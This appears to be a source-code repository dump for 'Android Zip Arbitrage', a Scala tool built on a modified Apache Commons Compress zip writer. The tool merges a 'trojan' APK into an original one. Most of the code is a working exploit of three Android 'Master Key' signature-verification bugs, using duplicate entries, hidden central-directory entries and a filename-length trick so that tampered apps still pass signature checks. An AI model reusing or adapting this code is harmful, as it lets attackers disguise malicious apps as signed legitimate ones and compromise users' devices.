1485 | if (zip64Mode != Zip64Mode.AsNeeded 1486 | || raf != null 1487 | || ze.getMethod() != DEFLATED 1488 | || ze.getSize() != ArchiveEntry.SIZE_UNKNOWN) { 1489 | return zip64Mode; 1490 | } 1491 | return Zip64Mode.Never; 1492 | } 1493 | 1494 | private ZipEncoding getEntryEncoding(ZipArchiveEntry ze) { 1495 | boolean encodable = zipEncoding.canEncode(ze.getName()); 1496 | return !encodable && fallbackToUTF8 1497 | ? ZipEncodingHelper.UTF8_ZIP_ENCODING : zipEncoding; 1498 | } 1499 | 1500 | private ByteBuffer getName(ZipArchiveEntry ze) throws IOException { 1501 | return getEntryEncoding(ze).encode(ze.getName()); 1502 | } 1503 | 1504 | /** 1505 | * Closes the underlying stream/file without finishing the 1506 | * archive, the result will likely be a corrupt archive. 1507 | * 1508 | *

This method only exists to support tests that generate 1509 | * corrupt archives so they can clean up any temporary files.

1510 | */ 1511 | void destroy() throws IOException { 1512 | if (raf != null) { 1513 | raf.close(); 1514 | } 1515 | if (out != null) { 1516 | out.close(); 1517 | } 1518 | } 1519 | 1520 | /** 1521 | * enum that represents the possible policies for creating Unicode 1522 | * extra fields. 1523 | */ 1524 | public static final class UnicodeExtraFieldPolicy { 1525 | /** 1526 | * Always create Unicode extra fields. 1527 | */ 1528 | public static final UnicodeExtraFieldPolicy ALWAYS = new UnicodeExtraFieldPolicy("always"); 1529 | /** 1530 | * Never create Unicode extra fields. 1531 | */ 1532 | public static final UnicodeExtraFieldPolicy NEVER = new UnicodeExtraFieldPolicy("never"); 1533 | /** 1534 | * Create Unicode extra fields for filenames that cannot be 1535 | * encoded using the specified encoding. 1536 | */ 1537 | public static final UnicodeExtraFieldPolicy NOT_ENCODEABLE = 1538 | new UnicodeExtraFieldPolicy("not encodeable"); 1539 | 1540 | private final String name; 1541 | private UnicodeExtraFieldPolicy(String n) { 1542 | name = n; 1543 | } 1544 | @Override 1545 | public String toString() { 1546 | return name; 1547 | } 1548 | } 1549 | 1550 | /** 1551 | * Structure collecting information for the entry that is 1552 | * currently being written. 1553 | */ 1554 | private static final class CurrentEntry { 1555 | private CurrentEntry(ZipArchiveEntry entry) { 1556 | this.entry = entry; 1557 | } 1558 | /** 1559 | * Current ZIP entry. 1560 | */ 1561 | private final ZipArchiveEntry entry; 1562 | /** 1563 | * Offset for CRC entry in the local file header data for the 1564 | * current entry starts here. 1565 | */ 1566 | private long localDataStart = 0; 1567 | /** 1568 | * Data for local header data 1569 | */ 1570 | private long dataStart = 0; 1571 | /** 1572 | * Number of bytes read for the current entry (can't rely on 1573 | * Deflater#getBytesRead) when using DEFLATED. 1574 | */ 1575 | private long bytesRead = 0; 1576 | /** 1577 | * Whether current entry was the first one using ZIP64 features. 1578 | */ 1579 | private boolean causedUseOfZip64 = false; 1580 | /** 1581 | * Whether write() has been called at all. 1582 | * 1583 | *

In order to create a valid archive {@link 1584 | * #closeArchiveEntry closeArchiveEntry} will write an empty 1585 | * array to get the CRC right if nothing has been written to 1586 | * the stream at all.

1587 | */ 1588 | private boolean hasWritten; 1589 | } 1590 | 1591 | } 1592 | -------------------------------------------------------------------------------- /src/main/scala/android/zip/arbitrage/FileInjector.scala: -------------------------------------------------------------------------------- 1 | package android.zip.arbitrage 2 | 3 | import utils.ZipFile 4 | import scala.util.Try 5 | 6 | case class ApkInjector(file:ZipFile) { 7 | 8 | type Filename = String 9 | type FileBytes = Array[Byte] 10 | } 11 | 12 | object ApkInjector { 13 | def apply(originalAPK:String):Try[ApkInjector] = ZipFile(originalAPK).map{ ApkInjector(_) } 14 | } 15 | 16 | -------------------------------------------------------------------------------- /src/main/scala/android/zip/arbitrage/Main.scala: -------------------------------------------------------------------------------- 1 | package android.zip.arbitrage 2 | 3 | import java.io.File 4 | import utils.{FileEntry, ZipFile} 5 | import org.apache.commons.compress.archivers.zip.ZipArchiveEntry 6 | import scala.Some 7 | 8 | case class Config(origAPK:Option[File] = None, 9 | bug8219321:Boolean = false, 10 | bug9695860:Boolean = false, 11 | bug9950697:Boolean = true, 12 | mergeZip:Option[File] = None, 13 | out:Option[File] = None) 14 | 15 | object Main extends App { 16 | 17 | val parser = new scopt.OptionParser[Config]("AndroidZipArbitrage") { 18 | head("Android Zip Arbitrage", "1.1") 19 | arg[File]("OriginalAPK") required() valueName("") action { (x, c) => 20 | c.copy(origAPK = Some(x)) } text("path to original APK") 21 | arg[File]("ModifiedAPK") valueName("") action { (x, c) => 22 | c.copy(mergeZip = Some(x)) } text("Merge files from this zip into original APK") 23 | opt[File]('o', "out") valueName("") action { (x, c) => 24 | c.copy(out = Some(x)) } text("output APK path") 25 | opt[Unit]("8219321") optional() action {(x,c) => c.copy(bug8219321 = true)} text("Use bug 8219321 (uses 9950697 by default)") 26 | opt[Unit]("9695860") optional() action {(x,c) => c.copy(bug9695860 = true)} text("Use bug 9695860 (uses 9950697 by default)") 27 | help("help") text("prints this usage text") 28 | } 29 | 30 | parser.parse(args, Config()) map { config => 31 | import utils.FileHelper._ 32 | 33 | for { 34 | ogAPK <- MasterKeysAPK(config.origAPK.get, original = true) 35 | trojanAPK <- MasterKeysAPK(config.mergeZip, original = false) 36 | }{ 37 | val outFilePath = config.out match { 38 | case Some(o) => o.getAbsolutePath 39 | case None => "MasterKeysModded-" +config.origAPK.get.getName 40 | } 41 | 42 | val fileBytes = 43 | if(config.bug9695860) { 44 | println("Using Bug 9695860 to circumvent Android signatures") 45 | ogAPK.centralDirectoryOverlap(trojanAPK).getZipFileBytes 46 | } 47 | else if(config.bug8219321) { 48 | println("Using Bug 8219321 to circumvent Android signatures") 49 | ogAPK.hashNormalizedMerge(trojanAPK).getZipFileBytes 50 | } 51 | else { 52 | println("Using Bug 9950697 to circumvent Android signatures") 53 | ogAPK.AndroidFileNameExploit(trojanAPK).getZipFileBytes 54 | } 55 | 56 | writeFile(outFilePath, fileBytes) 57 | } 58 | 59 | } getOrElse { 60 | // arguments are bad, usage message will have been displayed 61 | } 62 | 63 | def printZip(fileName:String){ 64 | ZipFile(fileName) map { z => 65 | val entries = z.map(_.zEntry.asInstanceOf[ZipArchiveEntry]) 66 | entries.sortBy(_.getSize).map(e => println(s"${e.getName}\t${e.getSize}\t${e.getMethod}\t${e.getCrc}\t${e.getCompressedSize}")) 67 | } 68 | } 69 | 70 | } 71 | -------------------------------------------------------------------------------- /src/main/scala/android/zip/arbitrage/MasterKeysAPK.scala: -------------------------------------------------------------------------------- 1 | package android.zip.arbitrage 2 | 3 | import utils.{OptionHelper, ZipFile, FileEntry} 4 | import scala.util.Try 5 | import java.io.File 6 | 7 | object MasterKeysAPK { 8 | def apply(file:File, original:Boolean):Try[MasterKeysAPK] = 9 | ZipFile(file) map (MasterKeysAPK(_,original)) 10 | 11 | def apply(file:Option[File], original:Boolean):Try[MasterKeysAPK] = 12 | OptionHelper.optionToTry(file,"No file given").flatMap(MasterKeysAPK(_,original)) 13 | 14 | def apply(files:Seq[File], original:Boolean):Try[MasterKeysAPK] = Try { 15 | MasterKeysAPK(new ZipFile(files.map(FileEntry(_))), original) 16 | } 17 | } 18 | case class MasterKeysAPK(w:Seq[FileEntry], origApp:Boolean = false) extends ZipFile(w){ 19 | private val originalFileNameSet = w.map(_.zEntry.getName) 20 | 21 | override def hashNormalizedMerge(z:ZipFile):ZipFile = 22 | if(origApp){ 23 | val filesWithoutNameCollisions = 24 | z.map(_.zEntry.getName).filter(fName => !originalFileNameSet.contains(fName)) 25 | if(!filesWithoutNameCollisions.isEmpty) 26 | throw new Exception(s"The following files do not exist in the original apk and thus would break the signatures: $filesWithoutNameCollisions") 27 | else 28 | super.hashNormalizedMerge(z) 29 | } else super.hashNormalizedMerge(z) 30 | 31 | def AndroidFileNameExploit(z:ZipFile):ZipFile = 32 | z.fileNameExploit(this) 33 | 34 | def centralDirectoryOverlap(z:ZipFile):ZipFile = { 35 | if(!origApp) throw new Exception("Must Be original App") 36 | //TODO: Strip out META-INF folder from secondary zip 37 | z.hideCentralDataEntriesInExtra(this) 38 | } 39 | 40 | def centralDirectoryOverlap(files:Seq[File]):ZipFile = { 41 | if(!origApp) throw new Exception("Must Be original App") 42 | //TODO: Strip out META-INF folder from secondary zip 43 | this.hideCentralDataEntriesInExtra(files) 44 | } 45 | 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/main/scala/utils/CryptoHelper.scala: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import java.security.MessageDigest 4 | import java.util.zip.CRC32 5 | 6 | case class SHA1(hash:String) 7 | case class MD5(hash:String) 8 | 9 | abstract class HashAlg(val digestName: String) { 10 | 11 | class Hash(val bytes: Array[Byte]) { 12 | def asString = { 13 | asBytes 14 | .map("%02X" format _) 15 | .mkString 16 | .toLowerCase 17 | } 18 | 19 | def asBytes = { 20 | MessageDigest 21 | .getInstance(digestName) 22 | .digest(bytes) 23 | } 24 | } 25 | 26 | def apply(bytes: Array[Byte]) = new Hash(bytes) 27 | } 28 | 29 | object SHA1 extends HashAlg("SHA1") 30 | object MD5 extends HashAlg("MD5") 31 | object SHA256 extends HashAlg("SHA-256") 32 | 33 | object CryptoHelper { 34 | 35 | def crc32(bytes: Array[Byte]): Long = crc32(bytes, 0, bytes.length) 36 | 37 | /** 38 | * Compute the CRC32 of the segment of the byte array given by the specificed size and offset 39 | * @param bytes The bytes to checksum 40 | * @param offset the offset at which to begin checksumming 41 | * @param size the number of bytes to checksum 42 | * @return The CRC32 43 | */ 44 | def crc32(bytes: Array[Byte], offset: Int, size: Int): Long = { 45 | val crc = new CRC32() 46 | crc.update(bytes, offset, size) 47 | crc.getValue() 48 | } 49 | 50 | 51 | type Hash = Array[Byte] 52 | 53 | def hashData(data:Array[Byte]):(String,String) = (SHA1(data).asString, MD5(data).asString) 54 | 55 | def SHAHash(s:String):String = SHA1(s.getBytes).asString 56 | 57 | def hashToBytes(data:Array[Byte]):(Array[Byte],Array[Byte]) = (SHA1(data).asBytes, MD5(data).asBytes) 58 | 59 | def hashToString(hash: Hash) = hash.map(_.formatted("%02X")).mkString 60 | 61 | def stringToHash(hex: String): Hash = { 62 | try { 63 | (for { i <- 0 to hex.length-1 by 2 if i > 0 || !hex.startsWith( "0x" )} yield hex.substring( i, i+2 )) 64 | .map( Integer.parseInt( _, 16 ).toByte ).toArray 65 | } catch { 66 | case e: NumberFormatException => Array() 67 | } 68 | } 69 | 70 | } -------------------------------------------------------------------------------- /src/main/scala/utils/FileHelper.scala: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import java.io._ 4 | 5 | object FileHelper { 6 | def writeFile(filename:String, data:String) { 7 | using(new FileWriter(filename)){ _.write(data)} 8 | } 9 | 10 | def writeFile(filename:String, data:Array[Byte]) { 11 | using(new FileOutputStream(filename)){ _.write(data)} 12 | } 13 | 14 | def readFully(input:InputStream): Array[Byte] = { 15 | val oStream = new ByteArrayOutputStream 16 | val buffer = new Array[Byte](4096) 17 | Iterator.continually(input.read(buffer)) 18 | .takeWhile(_ != -1) 19 | .foreach { oStream.write(buffer, 0 , _) } 20 | 21 | oStream.flush() 22 | oStream.toByteArray 23 | } 24 | 25 | def readFullyAndClose(input:InputStream): Array[Byte] = { 26 | val ret = readFully(input) 27 | try{ input.close() } catch { case e: Throwable => } 28 | ret 29 | } 30 | 31 | def copyStream(input:InputStream, output:OutputStream){ 32 | val buffer = new Array[Byte](4096) 33 | Iterator.continually(input.read(buffer)) 34 | .takeWhile(_ != -1) 35 | .foreach { output.write(buffer, 0 , _) } 36 | } 37 | 38 | //TODO: Fix this so it doesn't result in runtime reflection 39 | def using[A <: {def close()}, B](param: A)(f: A => B): B = 40 | try { f(param) } finally { param.close() } 41 | 42 | def readFile(fileName: String):Array[Byte] = readFile(new File(fileName)) 43 | def readFile(file: File):Array[Byte] = readFully(new FileInputStream(file)) 44 | 45 | def filesInDirectory(folder:String):List[String] = new File(folder).listFiles().map(_.getName).toList 46 | 47 | def fileExists(file:String) = new File(file).exists() 48 | 49 | def recursiveListFiles(f: File): Array[File] = { 50 | val these = f.listFiles 51 | these ++ these.filter(_.isDirectory).flatMap(recursiveListFiles) 52 | } 53 | def recursiveFileListing(path:String):List[File] = { 54 | recursiveListFiles(new File(path)).toList.filter(_.isFile) 55 | } 56 | def makeFolder(folder:String) { new File(folder).mkdir() } 57 | } -------------------------------------------------------------------------------- /src/main/scala/utils/ZipFile.scala: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import java.io._ 4 | import org.apache.commons.compress.archivers.zip.{ModdedZipArchiveOutputStream, ZipArchiveInputStream, ZipArchiveEntry} 5 | import scala.util.Try 6 | import scala.collection.mutable.ListBuffer 7 | import org.apache.commons.compress.archivers.ArchiveEntry 8 | import java.util.zip.ZipEntry 9 | import scala.util.Failure 10 | import scala.Some 11 | import scala.util.Success 12 | import scala.util.Failure 13 | import scala.Some 14 | import scala.util.Success 15 | 16 | case class FileEntry(zEntry:ZipArchiveEntry, data:Array[Byte], hash:String) { 17 | def setStored(){ 18 | import utils.CryptoHelper._ 19 | val e = zEntry.asInstanceOf[ZipArchiveEntry] 20 | e.setMethod(ZipEntry.STORED) 21 | e.setSize(data.size) 22 | e.setCrc(crc32(data)) 23 | } 24 | } 25 | 26 | class ZipNameHackFileEntry(val entry:ZipArchiveEntry, val hackData:Array[Byte], val originalData:Array[Byte], val hashS:String) 27 | extends FileEntry(entry,originalData,hashS) 28 | 29 | object FileEntry{ 30 | import FileHelper._ 31 | def apply(file:File):FileEntry = { 32 | val data = readFile(file) 33 | FileEntry(new ZipArchiveEntry(file.getName),data,SHA1(data).toString) 34 | } 35 | } 36 | 37 | object OptionHelper { 38 | def optionToTry[T](opt:Option[T], failMessage:String):Try[T] = 39 | opt match { 40 | case Some(a) => Success(a) 41 | case None => Failure(new Exception(failMessage)) 42 | } 43 | } 44 | 45 | object ZipFile { 46 | import java.io.{ByteArrayInputStream, ByteArrayOutputStream} 47 | 48 | private val BUFFER_SIZE = 4096 49 | 50 | def apply(fileName:String):Try[ZipFile] = 51 | ZipFile(new ZipArchiveInputStream(new FileInputStream(new File(fileName)))) 52 | 53 | def apply(file:File):Try[ZipFile] = 54 | ZipFile(new ZipArchiveInputStream(new FileInputStream(file))) 55 | 56 | def apply(file:Option[File]):Try[ZipFile] = OptionHelper.optionToTry(file,"No file given").flatMap(ZipFile(_)) 57 | 58 | def apply(bytes: Array[Byte]): Try[ZipFile] = apply(new ZipArchiveInputStream(new ByteArrayInputStream(bytes))) 59 | 60 | def apply(zip: ZipArchiveInputStream): Try[ZipFile] = { 61 | Try { 62 | // Back to mutable land for a moment 63 | var entry: Option[ArchiveEntry] = Option(zip.getNextEntry) 64 | val items = new ListBuffer[FileEntry]() 65 | val buffer: Array[Byte] = new Array[Byte](BUFFER_SIZE) 66 | while (entry.isDefined) { 67 | def readIter(acc: ByteArrayOutputStream = new ByteArrayOutputStream()): Array[Byte] = { 68 | val read = zip.read(buffer, 0, BUFFER_SIZE) 69 | if (read == -1) acc.toByteArray 70 | else { acc.write(buffer, 0, read); readIter(acc) } 71 | } 72 | val fileBytes = readIter() 73 | items.append(FileEntry(entry.get.asInstanceOf[ZipArchiveEntry],fileBytes,SHA1(fileBytes).asString)) 74 | entry = Option(zip.getNextEntry) 75 | } 76 | zip.close() 77 | if (items.size > 0) new ZipFile(items.toSeq) 78 | else throw new Exception("Invalid zip file") 79 | } 80 | } 81 | 82 | def BLANK = new ZipFile(Seq()) 83 | } 84 | 85 | 86 | class ZipFile(val wrapped: Seq[FileEntry], val hiddenEntries:Seq[FileEntry] = Seq(), val nameExploitEntries:Seq[ZipNameHackFileEntry] = Seq()) extends Seq[FileEntry] { 87 | 88 | lazy val entriesByHash:Map[String,FileEntry] = wrapped.foldLeft(Map[String,FileEntry]()){(acc,f) => acc + (f.hash -> f)} 89 | 90 | def +(e: FileEntry) = new ZipFile(wrapped.+:(e)) 91 | 92 | def length = wrapped.length 93 | 94 | def apply(idx:Int) = wrapped(idx) 95 | 96 | def iterator = wrapped.iterator 97 | 98 | def getEntriesByName(name:String):Seq[FileEntry] = 99 | for { 100 | entry <- wrapped 101 | if entry.zEntry.getName == name 102 | } yield entry 103 | 104 | def -(entryToRemove:String):ZipFile = this -- Set(entryToRemove) 105 | 106 | def --(entriesToRemove:Set[String]):ZipFile = { 107 | val entries = for{ 108 | FileEntry(entry,data,hash) <- wrapped 109 | if !entriesToRemove.contains(entry.getName) 110 | } yield { FileEntry(entry,data,hash)} 111 | new ZipFile(entries) 112 | } 113 | 114 | private def setEntriesStored:ZipFile = { 115 | wrapped.foreach(_.setStored()) 116 | this 117 | } 118 | 119 | //TODO: There is a bug here: If two files have the same hash, but different names, the second one is ignored 120 | def normalizedAddition(entryToAdd:FileEntry):ZipFile = 121 | if(entriesByHash.contains(entryToAdd.hash)) this else 122 | new ZipFile(this + entryToAdd) 123 | 124 | def addFiles(files:Seq[File]):ZipFile = 125 | files.foldLeft(this) { (z,f) => 126 | z.normalizedAddition(FileEntry(f)) 127 | } 128 | 129 | def hashNormalizedMerge(z:ZipFile):ZipFile = 130 | z.foldLeft(this){ (orig,fe) => 131 | orig.normalizedAddition(fe) 132 | } 133 | 134 | def fileNameExploit(z:ZipFile):ZipFile = 135 | this.foldLeft(z){ (zAccum, fe) => 136 | val name = fe.zEntry.getName 137 | val matchedEntries = zAccum.getEntriesByName(name) 138 | 139 | if(matchedEntries.length < 1 ) throw new Exception(s"File $name does not exist in original") 140 | else if (matchedEntries.length > 1) throw new Exception(s"More than one matched entries of $name in original") 141 | 142 | val matchedEntry = matchedEntries.head 143 | 144 | val znhfe = new ZipNameHackFileEntry(matchedEntry.zEntry, fe.data, matchedEntry.data, matchedEntry.hash) 145 | new ZipFile(wrapped = zAccum - name, nameExploitEntries = zAccum.nameExploitEntries :+ znhfe) 146 | } 147 | 148 | //TODO: Handle file de-duplication 149 | def hideCentralDataEntriesInExtra(z:ZipFile):ZipFile = 150 | z.foldLeft(this) { (zAccum, fe) => 151 | new ZipFile(wrapped = zAccum.wrapped, hiddenEntries = zAccum.hiddenEntries.+:(fe)) 152 | } 153 | 154 | def hideCentralDataEntriesInExtra(files:Seq[File]):ZipFile = 155 | files.foldLeft(this) { (zAccum, f) => 156 | new ZipFile(wrapped = zAccum.wrapped, hiddenEntries = zAccum.hiddenEntries.+:(FileEntry(f))) 157 | } 158 | 159 | def ++(entriesToAdd:Seq[FileEntry]):ZipFile = 160 | new ZipFile(entriesToAdd ++ wrapped) 161 | 162 | def getZipFileBytes:Array[Byte] = { 163 | val outStream = new ByteArrayOutputStream() 164 | val outFile = new ModdedZipArchiveOutputStream(outStream) 165 | 166 | writeEntries(wrapped, outFile) 167 | 168 | for { nameExploitEntry <- nameExploitEntries}{ 169 | writeNameExploitEntry(nameExploitEntry,outFile) 170 | } 171 | 172 | writeEntries(hiddenEntries,outFile) 173 | 174 | import scala.collection.JavaConversions._ 175 | outFile.flush() 176 | outFile.finish((wrapped ++ nameExploitEntries).map(_.zEntry).toList,hiddenEntries.map(_.zEntry).toList) 177 | outStream.toByteArray 178 | } 179 | 180 | private def writeNameExploitEntry(nameHackEntry:ZipNameHackFileEntry, outFile:ModdedZipArchiveOutputStream){ 181 | val origFileLength = nameHackEntry.originalData.length 182 | val newFileLength = nameHackEntry.hackData.length 183 | val filename = nameHackEntry.entry.getName 184 | val originalFileNameSize:Int = nameHackEntry.entry.getName.length 185 | val hackedFileLength = originalFileNameSize + origFileLength 186 | 187 | assert(hackedFileLength < (Math.pow(2,16) - 1), s"original filename + original file length must be less than 64K $filename") 188 | assert(newFileLength < origFileLength, s"New File must be smaller than original for $filename") 189 | 190 | nameHackEntry.entry.setMethod(ZipEntry.STORED) 191 | 192 | outFile.putArchiveEntry(nameHackEntry.entry,nameHackEntry.originalData) 193 | outFile.write(nameHackEntry.originalData) 194 | outFile.closeArchiveEntry() 195 | 196 | outFile.writeRaw(nameHackEntry.hackData,0, nameHackEntry.hackData.length) 197 | 198 | val paddingArray:Array[Byte] = Array[Byte](0) 199 | 200 | //write Padding 201 | for{ i <- 0 to (origFileLength - newFileLength)} { 202 | outFile.writeRaw(paddingArray,0,1) 203 | } 204 | 205 | } 206 | 207 | private def writeEntries(entries:Seq[FileEntry], outFile:ModdedZipArchiveOutputStream) { 208 | for{ 209 | FileEntry(entry,data,hash) <- entries 210 | }{ 211 | outFile.putArchiveEntry(entry) 212 | outFile.write(data) 213 | outFile.closeArchiveEntry() 214 | } 215 | } 216 | 217 | } --------------------------------------------------------------------------------